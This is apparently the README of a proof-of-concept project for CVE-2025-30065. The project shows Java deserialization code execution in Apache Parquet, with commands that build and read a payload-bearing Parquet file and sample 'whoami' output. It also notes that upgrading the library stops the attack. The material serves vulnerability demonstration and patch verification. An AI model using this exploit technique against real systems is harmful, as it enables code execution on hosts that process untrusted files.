
PoC
This project demonstrates a safe proof-of-concept for CVE-2025-30065 using Apache Parquet and Java deserialization.
When a Parquet file containing a serialized Java object is read, the payload executes a visible command to prove code execution.
docker-compose run --rm maven-parquet mvn compile exec:java -Dexec.mainClass=ParquetPayloadWriter
docker-compose run --rm maven-parquet mvn compile exec:java -Dexec.mainClass=ParquetPayloadReader
You should see something like:
[👀 payload output] {output of whoami}
Try to change the version number to 1.15.1 from the vulnerable <1.15.0 in /app/pom.xml. It will no longer work.